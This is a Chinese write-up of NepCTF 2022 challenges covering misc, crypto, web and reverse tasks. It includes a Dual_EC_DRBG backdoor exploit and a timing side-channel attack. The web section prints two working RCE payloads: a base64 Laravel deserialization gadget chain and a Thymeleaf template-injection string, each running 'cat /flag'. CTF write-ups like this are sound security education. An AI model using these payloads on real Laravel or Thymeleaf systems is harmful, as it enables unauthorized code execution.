“NepCTF 2022”是由Nepnep联合站队主办的公益招新赛事,旨在以有代表性、有特色的题目培养新生网络安全能力。
比赛时间:2022年7月15日10:00 - 2022年7月17日10:00。
比赛形式:个人解题赛
比赛链接:http://nep.lemonprefect.cn/
比赛平台:Power by CTFm
NepCTF 2022赛事说明文档:https://www.wolai.com/nepnep/4c2ZG1UaTnVMmyYsKB5duj
Rank: 4
MISC
签到题
极限套娃
flag格式为nepctf{}
jpg中提取出zip压缩包,zip压缩包套娃232层,用cyberchef label+jump循环提取出最内层的pcap文件;
wireshark打开发现为USB键盘流量,tshark工具提取出usb.capdata数据,用脚本还原键位:
1 | normalKeys = { |
得到 welcometonepctf2nd
,加分隔符得flag:nepctf{welcome_to_nepctf_2nd}
。
花花画画画花花
花花画了一张图,你能看出来她画的是什么吗
(flag格式为NepCTF{})
在 osu! wiki 可以发现osz文件为可执行的osu!谱面文件,下载安装osu!,
根据 生成的 .osz 文件会被放置在 osu! 文件夹下的 "Exports" 文件夹里
,将osz文件放入 Exports
文件夹,打开osu!,
在Edit页面看完整首歌曲的乐谱轨迹,拿到flag:NepCTF{MASTER_OF_坏女人!}
。
少见的bbbbase
少见的bbbbase
尝试几种常见jpg隐写,发现是jphide隐写,用JPHS工具seek(无密码),得到 KkYWdvCQcLYewSUUy5TtQc9AMa
base58解得flag:flag{Real_qiandao~}
。
9点直播
各位同学,比赛已经开始将近十个小时啦,大家玩的如何呢?邀请大家9点来直播间聊聊天~ 请锁定https://b23.tv/bn0pPAR
这边小助手收到了大家想暴打出题人的反馈,今晚9点我们请到了变态的出题人们,在直播间和大家交流,放出我们的hint,帮助大家解题。
同时也会在直播间中抽幸运的小伙伴送出我们的周边礼品。
看B站直播拿flag:NepCTF{bad_woman_nb!}
。
馅饼?陷阱!
好兄弟中奖了,但是要先汇款。他去哪了?
NepCTF{银行官网网址}
OSINT题。
用Yandex识别图1里的黄色建筑,可得到结果为豪威海景大酒店,再在百度地图里搜索在海南三亚,附近银行为光大银行,
官网网址即flag:NepCTF{www.cebbank.com}
。
问卷
答问卷暴打出题人,拿flag:NepCTF{see_you_NepCTF_2023}
。
CRYPTO
signin
本题flag格式: NepCTF{xxx}
Have you heard of the Chinese Remainder Theorem?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59 from Crypto.Util.number import getStrongPrime,bytes_to_long
from gmpy2 import powmod,is_prime,invert,bit_length, next_prime
from FLAG import flag
def gen_key():
(p,q,n,e,d) = (0 for _ in range(5))
p = getStrongPrime(1024)
q = next_prime(p)
# q = p + 1
# while(True):
# q += 2 if q & 1 else 1
# if is_prime(q, 30):
# break
n = p*q
e = 0x10001
d = invert(e, (p-1)*(q-1))
par = (p,q,n,e,d)
return par
def leak(par, c):
assert len(par) == 5
(p,q,n,e,d) = par
print("Here's something for you.")
print("n =",n)
print("e =",e)
print("c_mod_p =",c % p)
print("c_mod_q =",c % q)
def enc(message, par):
assert len(par) == 5
(p,q,n,e,d) = par
m = bytes_to_long(message)
c = powmod(m,e,n)
return c
if __name__ == '__main__':
par = gen_key()
c = enc(flag, par)
leak(par, c)
"""
Here's something for you.
n = 19955580242010925349026385826277356862322608500430230515928936214328341334162349408990409245298441768036250429913772953915537485025323789254947881868366911379717813713406996010824562645958646441589124825897348626601466594149743648589703323284919806371555688798726766034226044561171215392728880842964598154362131942585577722616354074267803330013886538511795383890371097812191816934883393255463554256887559394146851379087386846398690114807642170885445050850978579391063585254346364297374019309370189128443081285875218288166996242359495992824824109894071316525623741755423467173894812627595135675814789191820979950786791
e = 65537
c_mod_p = 32087476819370469840242617415402189007173583393431940289526096277088796498999849060235750455260897143027010566292541554247738211165214410052782944239055659645055068913404216441100218886028415095562520911677409842046139862877354601487378542714918065194110094824176055917454013488494374453496445104680546085816
c_mod_q = 59525076096565721328350936302014853798695106815890830036017737946936659488345231377005951566231961079087016626410792549096788255680730275579842963019533111895111371299157077454009624496993522735647049730706272867590368692485377454608513865895352910757518148630781337674813729235453169946609851250274688614922
"""
费马分解和CRT应用。
1 | # Sage |
p or s
本题flag格式: flag{xxx}
what are the differences between P and S?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57 from secret import keys
from Crypto.Util.number import *
assert(len(keys)==6)
Pbox=[
[0, 3, 6, 9, 10, 11, 13, 16, 18, 19, 20, 24, 25, 27, 28, 29, 30, 31],
[0, 1, 3, 8, 9, 11, 12, 14, 16, 18, 19, 23, 24, 25, 26, 28, 29],
[0, 1, 2, 3, 9, 10, 11, 13, 19, 20, 22, 25, 27, 28, 29, 31],
[0, 2, 3, 5, 6, 7, 8, 13, 16, 19, 21, 25, 26, 27, 28],
[2, 4, 6, 7, 9, 11, 12, 13, 16, 17, 20, 21, 22, 23, 24, 25, 27, 31],
[2, 10, 13, 15, 16, 17, 21, 22, 23, 24, 29, 31],
[1, 2, 8, 11, 12, 13, 16, 17, 19, 21, 22, 24, 25, 26, 27, 28, 30, 31],
[0, 3, 6, 13, 14, 17, 19, 21, 22, 23, 26, 27, 28],
[1, 5, 7, 8, 11, 12, 14, 15, 19, 23, 25, 27, 31],
[0, 2, 3, 6, 7, 8, 9, 10, 11, 12, 16, 18, 19, 22, 23, 24, 25, 26, 27, 28],
[0, 1, 6, 7, 10, 15, 16, 21, 24, 25, 29, 30],
[1, 4, 5, 6, 7, 12, 13, 15, 18, 19, 20, 22, 26, 27, 29, 31],
[0, 3, 5, 8, 9, 17, 21, 22, 24, 25, 26, 27, 30],
[0, 2, 3, 4, 5, 6, 7, 8, 11, 17, 19, 20, 24, 25, 26, 27, 30],
[2, 6, 7, 8, 11, 12, 14, 16, 20, 21, 22, 24, 29, 30, 31],
[0, 2, 5, 6, 7, 8, 9, 10, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 25, 29, 31],
[0, 1, 2, 3, 4, 5, 8, 10, 11, 12, 13, 16, 17, 18, 20, 21, 22, 23, 25, 26, 28, 29, 30],
[3, 5, 6, 8, 10, 13, 14, 17, 19, 20, 21, 22, 24, 26, 27, 29, 30],
[1, 3, 6, 12, 14, 15, 16, 17, 18, 21, 24, 25, 26, 27, 28],
[0, 1, 2, 3, 5, 6, 7, 8, 9, 12, 13, 19, 20, 23, 26, 29, 30],
[3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14, 16, 20, 21, 22, 25, 26, 27, 28, 29, 30],
[0, 1, 2, 4, 6, 7, 9, 10, 11, 13, 15, 16, 18, 19, 20, 21, 25, 31],
[0, 2, 7, 10, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 25, 29, 31],
[1, 2, 3, 5, 7, 8, 18, 19, 21, 22, 23, 25, 31],
[3, 4, 7, 8, 10, 11, 13, 14, 17, 18, 19, 21, 22, 23, 24, 28, 29],
[0, 2, 6, 7, 8, 10, 11, 12, 13, 16, 18, 19, 21, 23, 31],
[0, 1, 3, 4, 8, 13, 14, 16, 18, 19, 21, 26, 27, 30, 31],
[5, 6, 7, 9, 13, 14, 15, 18, 19, 20, 21, 24, 25, 28],
[1, 3, 4, 5, 6, 7, 11, 14, 16, 17, 19, 20, 21, 22, 23, 25, 30, 31],
[2, 3, 4, 6, 7, 11, 13, 17, 18, 19, 20, 23, 24, 25, 26, 28, 29, 30, 31],
[0, 1, 2, 3, 4, 7, 9, 10, 13, 15, 16, 19, 22, 23, 24, 25, 27],
[0, 1, 3, 4, 12, 16, 18, 19, 26, 30]]
def enc(v):
t=v
for i in keys:
q=[]
for j in Pbox:
q.append(sum([t[k] for k in j])%2)
t=[int(q[j])^int(i[j]) for j in range(32)]
return t
assert(len(flag)==32)
fb=bin(bytes_to_long(flag))[2:].zfill(32*8)
ciphertext=""
for i in range(0,len(fb),32):
t=enc([int(j) for j in fb[i:i+32]])
ciphertext+="".join([str(j) for j in t])
print(ciphertext)
"""
0111110000100101000001101011110111101100000010110011101111000101111110111111100100100010001011000101000110110011111101000001001000000101111000001110001111001001100100111000011011101111111101001011100000100100110011111101100111001100111111110001111011101100
"""
代码逻辑:将flag二进制32*8位01串分为8组,每一组都先经过P盒按位选择求和运算,再与未知的32位key进行按位异或运算,因为有6组key,上述两步运算循环进行6次操作,得到最终32位密文。
将加密过程转为 $\text{GF}(2)$ 下的矩阵运算,$M_i$ 为 1x32 明文矩阵 $(0 \le i \lt 8)$,$P$ 为 32x32 P盒矩阵,$K_i$ 为 1x32 key矩阵 $(0 \le i \lt 6)$,$T_i$ 为中间矩阵 $(0 \le i \lt 6)$,$C$ 为密文矩阵,即:
$T_0=M_i$
$T_1=T_0P^{-1}+K_0$
$T_2=T_1P^{-1}+K_1$
$T_3=T_2P^{-1}+K_2$
$T_4=T_3P^{-1}+K_3$
$T_5=T_4P^{-1}+K_4$
$T_6=T_5P^{-1}+K_5=C$
可得:
$C=T_6=M_i(P^{-1})^{6}+K_0(P^{-1})^{5}+K_1(P^{-1})^{4}+K_2(P^{-1})^{3}+K_3(P^{-1})^{2}+K_4P^{-1}+K_5$
由于 $K_i$ 和 $P$ 都固定,令 $A=(P^{-1})^{6},B=K_0(P^{-1})^{5}+K_1(P^{-1})^{4}+K_2(P^{-1})^{3}+K_3(P^{-1})^{2}+K_4P^{-1}+K_5$,
有 $C=M_iA+B$,其中 $A,B$ 都为固定值,$A$ 可求,$B$ 未知。
猜测 $M_0$ 对应的明文是 flag
,则由 $M_0,C_0$可以得出 $B$,再对 $C_1$ 至 $C_5$ 分别求逆运算可得 $M_1$ 至 $M_5$。
1 | # Sage |
中学数学
本题flag格式: flag{xxx}
Zuni: 听说密码学是小学数学来着?
// 随缘评:真的吗
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21 from gmpy2 import *
from Crypto.Util.number import *
from secret import flag
p=getPrime(1024)
q=next_prime(p+(p>>500))
e=0x10001
n=p*q
c=pow(bytes_to_long(flag),e,n)
print("n=",n)
print("c=",c)
'''
n= 13776679754786305830793674359562910178503525293501875259698297791987196248336062506951151345232816992904634767521007443634017633687862289928715870204388479258679577315915061740028494078672493226329115247979108035669870651598111762906959057540508657823948600824548819666985698501483261504641066030188603032714383272686110228221709062681957025702835354151145335986966796484545336983392388743498515384930244837403932600464428196236533563039992819408281355416477094656741439388971695931526610641826910750926961557362454734732247864647404836037293509009829775634926600458845832805085222154851310850740227722601054242115507
c= 6253975396639688013947622483271226838902346034187241970785550830715516801386404802832796746428068354515287579293520381463797045055114065533348514688044281004266071342722261719304097175009672596062130939189624163728328429608123325223000160428261082507446604698345173189268359115612698883860396660563679801383563588818099088505120717238037463747828729693649297904035253985982099474025883550074375828799938384533606092448272306356003096283602697757642323962299153853559914553690456801745940925602411053578841756504799815771173679267389055390097241148454899265156705442028845650177138185876173539754631720573266723359186
'''
$p,q$ 接近,且前1024-500位相同,有 $\sqrt{n}>>500 \approx p>>500 \approx q-p$,故可爆破找差值 $k$:
1 | # Sage |
再常规解:
1 | p = |
bd_key
本题flag格式: NepCTF{xxx}
master of pwn一下就解出了明文,因为有后门(本题与pwn无关)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138 from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime
from FLAG import flag
"""
Note: I have modified Dual_EC a little bit.
It would be EASIER for you to exploit it.
"""
class Dual_EC():
def __init__(self, s_0=None):
from Crypto.Util.number import getRandomNBitInteger
# Init curve P-256
self.p = 115792089210356248762697446949407573530086143415290314195533631308867097853951
self.n = 115792089210356248762697446949407573529996955224135760342422259061068512044369
self.b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
self.curve = EllipticCurve(GF(self.p), [-3, self.b])
# Init P, Q
self.Qx = 0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296
self.Qy = 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5
self.Q = self.curve(self.Qx, self.Qy)
self.d = getRandomNBitInteger(256)
self.P = self.d * self.Q
# Init state, h_adin
if s_0 == None:
self.s_i = int(floor((2^16-1)*random()))
else:
self.s_i = s_0
self.h_adin = 0
self.__leak_par()
def __leak_par(self):
print(f"curve = {self.curve}")
print(f"P = {self.P}")
print(f"d = {self.d}")
print(f"Q = {self.Q}")
# Output 32bytes now.
def __Dual_EC_DRBG(self, h_adin = 0):
t_i = self.s_i ^^ h_adin
self.s_i = (t_i*self.P)[0].lift()
r_i = (self.s_i*self.Q)[0].lift()
return r_i
def getRandomNBytes(self, N:int) -> bytes:
result = 0
req = (N/32).ceil()
for i in range(req):
if(i == 0):
result = (result << (32*8)) | self.__Dual_EC_DRBG(self.h_adin)
else:
result = (result << (32*8)) | self.__Dual_EC_DRBG()
self.s_i = (self.s_i * self.P)[0].lift()
result = result >> ((32*req - N)*8)
return long_to_bytes(result)
def encrypt_flag(key:bytes) -> bytes:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from FLAG3 import flag
cipher = AES.new(key, AES.MODE_ECB)
flag_pad = pad(flag, 16)
ct = cipher.encrypt(flag_pad)
return ct
def do_schnorr_identification(dbrg):
p = getPrime(256)
Zp = Zmod(p)
g = Zp(2)
q = g.multiplicative_order()
Zq = Zmod(q)
k = 10
class SchnorrProver(object):
def __init__(self):
self.secret_key = Zq.random_element()
self.public_key = g^self.secret_key
def commit(self):
self.r = Zq.random_element()
return g^self.r
def respond(self, challenge):
return self.r - challenge*self.secret_key
class SchnorrVerifier(object):
def __init__(self, prover_public_key):
self.prover_public_key = prover_public_key
def challenge(self, commitment):
self.commitment = commitment
while True:
c = bytes_to_long(dbrg.getRandomNBytes(32))
if c < p:
break
self.challenge_number = c
return self.challenge_number
def check(self, response):
check_value = g^response*self.prover_public_key^self.challenge_number
return self.commitment == check_value
def run_protocol(iterations=1):
for _ in range(iterations):
prover = SchnorrProver()
verifier = SchnorrVerifier(prover.public_key)
t = prover.commit()
c = verifier.challenge(t)
s = prover.respond(c)
assert(verifier.check(s))
print(f"c = {c}")
run_protocol()
def main():
dbrg = Dual_EC()
do_schnorr_identification(dbrg)
key = dbrg.getRandomNBytes(16)
ct = encrypt_flag(key)
print(f"ct = {bytes_to_long(ct)}")
main()
1
2
3
4
5
6 # curve = Elliptic Curve defined by y^2 = x^3 + 115792089210356248762697446949407573530086143415290314195533631308867097853948*x + 41058363725152142129326129780047268409114441015993725554835256314039467401291 over Finite Field of size 115792089210356248762697446949407573530086143415290314195533631308867097853951
# P = (72696788778535848020209987825324097844942627382508830211685965810687985426258 : 49180397040468497821240854375656422791216946832858522054245540263375986110762 : 1)
# d = 66604141534275704476445937214374130642068729921454877238730830814793201802544
# Q = (48439561293906451759052585252797914202762949526041747995844080717082404635286 : 36134250956749795798585127919587881956611106672985015071877198253568414405109 : 1)
# c = 59100197418944667413449341413044666843726352095054393072750502893110293231642
# ct = 25645992443585671366815910836517434170297823176311632150463962979581372384075859802765045877741181123347569267185176
双椭圆曲线确定性随机数发生器(Dual_EC_DRBG)的一个后门,原理:
设每一步的 $\text{state}$ 为 $s_i$,随机数为 $r_i$,随机数对应的椭圆曲线上的点为 $R_i$。
对于攻击者来说,已知 $P$、$Q$、$d$、$r_{i-1}$,而 $s_i$ 未知。于是有:
$\begin{cases} ((s_i \cdot P)_x \cdot P)_x & \rightarrow s_{i+1} \newline ((s_i \cdot P)_x \cdot Q)_x & \rightarrow r_i \end{cases}$
后门为构造 $d \cdot r_{i-1}$,其恰好是 $s_i$,看似安全的体制被攻破。
记 $k_i = (s_i \cdot P)_x$,有:
$\begin{align} d \cdot r_{i-1} & = {(d \cdot R_{i-1})_x = (d \cdot k_{i-1} \cdot Q)_x} = {(k_{i-1} \cdot d \cdot Q)_x = (k_{i-1} \cdot P)_x} = {((s_{i-1} \cdot P)_x \cdot P)_x = s_i} \end{align}$
题里 $c=r_{i-1}$,构造 $d \cdot c = s_i$,则可以推出下一个随机数 $r_i=((s_i \cdot P)_x \cdot Q)_x$,取高16*8位为AES的Key。
1 | # Sage |
timing
牢不可破的算法,或许会在其他地方出现问题?
(容器下发后,师傅自行nc哦~~~)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283 #!/usr/bin/python3
from time import perf_counter_ns as clock1
from time import *
ecc_table = {
'n': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123',
'p': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF',
'g': '32c4ae2c1f1981195f9904466a39c9948fe30bbff2660be1715a4589334c74c7'
'bc3736a2f4f6779c59bdcee36b692153d0a9877cc62a474002df32e52139f0a0',
'a': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC',
'b': '28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93',
'O': '0000000000000000000000000000000000000000000000000000000000000000'
'0000000000000000000000000000000000000000000000000000000000000000',
}
class TSM2(object):
def __init__(self, sk):
self.ecc_table = ecc_table
self.n = int(ecc_table['n'], 16)
self.para_len = len(ecc_table['n'])
self.ecc_a3 = (int(ecc_table['a'], base=16) +
3) % int(ecc_table['p'], base=16)
self.sk = sk
self.pk = self.kg(self.sk, ecc_table['g'])
def sign(self, data, K):
e = data
d = self.sk
k = K
P1 = self.kg(k, self.ecc_table['g'])
x = int(P1[0:self.para_len], 16)
R = ((e + x) % int(self.ecc_table['n'], base=16))
if R == 0 or R + k == int(self.ecc_table['n'], base=16):
return None
d_1 = pow(
d+1, int(self.ecc_table['n'], base=16) - 2, int(self.ecc_table['n'], base=16))
S = (d_1*(k + R) - R) % int(self.ecc_table['n'], base=16)
if S == 0:
return None
else:
return '%064x%064x' % (R, S)
def verify(self, Sign, data):
r = int(Sign[0:self.para_len], 16)
s = int(Sign[self.para_len:2 * self.para_len], 16)
e = int(data.hex(), 16)
t = (r + s) % self.n
if t == 0:
return 0
P1 = self.kg(s, self.ecc_table['g'])
P2 = self.kg(t, self.pk)
if P1 == P2:
P1 = '%s%s' % (P1, 1)
P1 = self._double_point(P1)
else:
P1 = '%s%s' % (P1, 1)
P1 = self._add_point(P1, P2)
P1 = self._convert_jacb_to_nor(P1)
x = int(P1[0:self.para_len], 16)
return r == ((e + x) % self.n)
def kg(self, k, Point):
k=k%self.n
if k == 0:
return '0' * 128
Point = '%s%s' % (Point, '1')
mask_str = '8'
for i in range(self.para_len - 1):
mask_str += '0'
mask = int(mask_str, 16)
Temp = Point
flag = False
for n in range(self.para_len * 4):
if flag:
Temp = self._double_point(Temp)
if (k & mask) != 0:
if flag:
Temp = self._add_point(Temp, Point)
else:
flag = True
Temp = Point
k = k << 1
return self._convert_jacb_to_nor(Temp)
def _double_point(self, Point):
t1=clock1()
l = len(Point)
len_2 = 2 * self.para_len
if l < self.para_len * 2:
return None
else:
x1 = int(Point[0:self.para_len], 16)
y1 = int(Point[self.para_len:len_2], 16)
if l == len_2:
z1 = 1
else:
z1 = int(Point[len_2:], 16)
T6 = (z1 * z1) % int(self.ecc_table['p'], base=16)
T2 = (y1 * y1) % int(self.ecc_table['p'], base=16)
T3 = (x1 + T6) % int(self.ecc_table['p'], base=16)
T4 = (x1 - T6) % int(self.ecc_table['p'], base=16)
T1 = (T3 * T4) % int(self.ecc_table['p'], base=16)
T3 = (y1 * z1) % int(self.ecc_table['p'], base=16)
T4 = (T2 * 8) % int(self.ecc_table['p'], base=16)
T5 = (x1 * T4) % int(self.ecc_table['p'], base=16)
T1 = (T1 * 3) % int(self.ecc_table['p'], base=16)
T6 = (T6 * T6) % int(self.ecc_table['p'], base=16)
T6 = (self.ecc_a3 * T6) % int(self.ecc_table['p'], base=16)
T1 = (T1 + T6) % int(self.ecc_table['p'], base=16)
z3 = (T3 + T3) % int(self.ecc_table['p'], base=16)
T3 = (T1 * T1) % int(self.ecc_table['p'], base=16)
T2 = (T2 * T4) % int(self.ecc_table['p'], base=16)
x3 = (T3 - T5) % int(self.ecc_table['p'], base=16)
if (T5 % 2) == 1:
T4 = (T5 + ((T5 + int(self.ecc_table['p'], base=16)) >> 1) - T3) % int(
self.ecc_table['p'], base=16)
else:
T4 = (T5 + (T5 >> 1) - T3) % int(self.ecc_table['p'], base=16)
T1 = (T1 * T4) % int(self.ecc_table['p'], base=16)
y3 = (T1 - T2) % int(self.ecc_table['p'], base=16)
form = '%%0%dx' % self.para_len
form = form * 3
t2=clock1()
if(t2-t1<1e7):
sleep(0.01-(((t2-t1))/1000000000.0))
return form % (x3, y3, z3)
def _add_point(self, P1, P2):
t1=clock1()
if P1 == '0' * 128:
return '%s%s' % (P2, '1')
if P2 == '0' * 128:
return '%s%s' % (P1, '1')
len_2 = 2 * self.para_len
l1 = len(P1)
l2 = len(P2)
if (l1 < len_2) or (l2 < len_2):
return None
else:
X1 = int(P1[0:self.para_len], 16)
Y1 = int(P1[self.para_len:len_2], 16)
if l1 == len_2:
Z1 = 1
else:
Z1 = int(P1[len_2:], 16)
x2 = int(P2[0:self.para_len], 16)
y2 = int(P2[self.para_len:len_2], 16)
T1 = (Z1 * Z1) % int(self.ecc_table['p'], base=16)
T2 = (y2 * Z1) % int(self.ecc_table['p'], base=16)
T3 = (x2 * T1) % int(self.ecc_table['p'], base=16)
T1 = (T1 * T2) % int(self.ecc_table['p'], base=16)
T2 = (T3 - X1) % int(self.ecc_table['p'], base=16)
T3 = (T3 + X1) % int(self.ecc_table['p'], base=16)
T4 = (T2 * T2) % int(self.ecc_table['p'], base=16)
T1 = (T1 - Y1) % int(self.ecc_table['p'], base=16)
Z3 = (Z1 * T2) % int(self.ecc_table['p'], base=16)
T2 = (T2 * T4) % int(self.ecc_table['p'], base=16)
T3 = (T3 * T4) % int(self.ecc_table['p'], base=16)
T5 = (T1 * T1) % int(self.ecc_table['p'], base=16)
T4 = (X1 * T4) % int(self.ecc_table['p'], base=16)
X3 = (T5 - T3) % int(self.ecc_table['p'], base=16)
T2 = (Y1 * T2) % int(self.ecc_table['p'], base=16)
T3 = (T4 - X3) % int(self.ecc_table['p'], base=16)
T1 = (T1 * T3) % int(self.ecc_table['p'], base=16)
Y3 = (T1 - T2) % int(self.ecc_table['p'], base=16)
form = '%%0%dx' % self.para_len
form = form * 3
t2=clock1()
if(t2-t1<1e8):
sleep(0.1-(((t2-t1))/1000000000.0))
return form % (X3, Y3, Z3)
def _convert_jacb_to_nor(self, Point):
len_2 = 2 * self.para_len
x = int(Point[0:self.para_len], 16)
y = int(Point[self.para_len:len_2], 16)
z = int(Point[len_2:], 16)
z_inv = pow(
z, int(self.ecc_table['p'], base=16) - 2, int(self.ecc_table['p'], base=16))
z_invSquar = (z_inv * z_inv) % int(self.ecc_table['p'], base=16)
z_invQube = (z_invSquar * z_inv) % int(self.ecc_table['p'], base=16)
x_new = (x * z_invSquar) % int(self.ecc_table['p'], base=16)
y_new = (y * z_invQube) % int(self.ecc_table['p'], base=16)
z_new = (z * z_inv) % int(self.ecc_table['p'], base=16)
if z_new == 1:
form = '%%0%dx' % self.para_len
form = form * 2
return form % (x_new, y_new)
else:
return None
def add_point(self,P1,P2):
if P1==P2:
return self._double_point(P1)
else :
return self._convert_jacb_to_nor(self._add_point(P1,P2))
import sys,os
from random import *
import socketserver
import signal
import string
class Task(socketserver.BaseRequestHandler):
def _recvall(self):
BUFF_SIZE = 2048
data = b''
while True:
part = self.request.recv(BUFF_SIZE)
data += part
if len(part) < BUFF_SIZE:
break
return data.strip()
def send(self, msg, newline=True):
msg=msg.encode()
try:
if newline:
msg += b'\n'
self.request.sendall(msg)
except:
pass
def recv(self, prompt=b'[-] '):
self.send(prompt, newline=False)
return self._recvall()
def handle(self):
signal.alarm(3600)
g=ecc_table["g"]
O=ecc_table["O"]
t=[randint(1,254) for i in range(8)]
sk=sum([1<<i for i in t])
self.send("system reseting...")
sm2 = TSM2(sk)
self.send("done")
self.send("the system is "+str(sm2.pk))
for i in range(100):
try:
user=int(self.recv("plz give me your number:"))
except:
self.send("wrong, plz try again")
continue
t1=clock1()
kG=sm2.kg(sk-user,g)
t2=clock1()
self.send("used "+str((t2-t1)/1e9)+" s")
if kG==O:
f=open("/flag")
flag=f.read()
self.send(flag)
exit()
class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
pass
class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
pass
if __name__ == "__main__":
HOST, PORT = '0.0.0.0',8000
server = ForkedServer((HOST, PORT), Task)
server.allow_reuse_address = True
print(HOST, PORT)
server.serve_forever()
TSM2
类为正常SM2算法实现,只不过在加法运算 _add_point()
和倍乘运算 _double_point()
分别加了 sleep()
控制运算时间。
handle()
处理函数里,给出公钥 $pk$,给100次要求输入 $u$,当满足 $(sk-u)G=O$ 时可拿flag。
要满足 $(sk-u)G=O$,只有 $sk-u=0$ 或 $sk-u=n$,由于除了公钥和运算总时间无其他输出,只能猜测出 $u=sk$。
由于 $sk$ 只有8位为1,利用运算总时间,可作为侧信道信息来测试 $sk$ 各位为1时的消耗时间,测试发现当接近正确的“1”位时,运算总时间相较相邻的两位小,那么可使用时间侧信道攻击来求解私钥 $sk$。
因尝试的总次数最多为100次,采用区间遍历法缩小尝试次数,令 $x$ 为每个区间长度,总次数 $c=\cfrac{254}{x}+8x \le 100$,$x$ 可取值4~8。
采用 $x=4$ 实现:
1 | from pwn import * |
WEB
Just Kidding
顽皮的HRP用Laravel写了个项目来欢迎大伙来玩Nepctf 2nd,没想到…居然被坏蛋Sharun撅了
访问 www.zip
下载源码,CMS为Laravel 9.x。
在 www\app\Http\Controllers
发现 HelloController.php
:
1 |
|
反序列化RCE漏洞,使用现成链子可以打通:
1 |
|
Payload:
/hello?h3=Tzo0NjoiSWxsdW1pbmF0ZVxSb3V0aW5nXFBlbmRpbmdSZXNvdXJjZVJlZ2lzdHJhdGlvbiI6NTp7czoxMjoiACoAcmVnaXN0cmFyIjtPOjMxOiJJbGx1bWluYXRlXFZhbGlkYXRpb25cVmFsaWRhdG9yIjoxOntzOjEwOiJleHRlbnNpb25zIjthOjE6e3M6MDoiIjtzOjE0OiJjYWxsX3VzZXJfZnVuYyI7fX1zOjEzOiIAKgByZWdpc3RlcmVkIjtiOjA7czo3OiIAKgBuYW1lIjtzOjE0OiJjYWxsX3VzZXJfZnVuYyI7czoxMzoiACoAY29udHJvbGxlciI7czo2OiJzeXN0ZW0iO3M6MTA6IgAqAG9wdGlvbnMiO3M6OToiY2F0IC9mbGFnIjt9
Challenger
顽皮的HRP又换了种语言写项目来欢迎大家,没想到又让Sharun掘了😭
(flag在根目录下: /flag)
用jd-gui反编译 challenger.jar
文件,发现使用了Thymeleaf模板,
在 HelloController.class
里发现 /eval
路由:
1 |
|
参考 Thymeleaf 模板注入导致命令执行,修改payload拿到flag:
Payload:
/eval?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cat%20/flag%22).getInputStream()).next()%7d__::
REVERSE
快来签到
x86 linux
趣味题。
IDA打开发现报错 The graph is too big more than 1000 nodes...
,且 main()
函数中定义多个图节点,到 IDA - Options - Graph - Max number of nodes 里改一个大数保存,回到 main()
函数切换成Graph overview或者IDA View中缩小,可以看到控制流图(CFG):
flag:NepCTF{welc0me_t0_nepctf}
We_can_gone
是出发的时候了!!!
Go逆向,IDA7.7分析,在String窗口里找到关键字符串交叉引用定位入口函数 sub_4994E0()
:
1 | __int128 sub_4994E0() |
后半部分伪代码不清晰,在该函数附近发现判断逻辑函数 sub_499630()
:
1 | void sub_499630() |
在 v4[i + 7] != *(_BYTE *)(dword_54B6E0 + i)
比较处下断点动调,查看 dword_54B6E0
存放的值为 U9eT_t0_th3TRUE
,故flag为NepCTF{U9eT_t0_th3TRUE}
。
PWN
菜。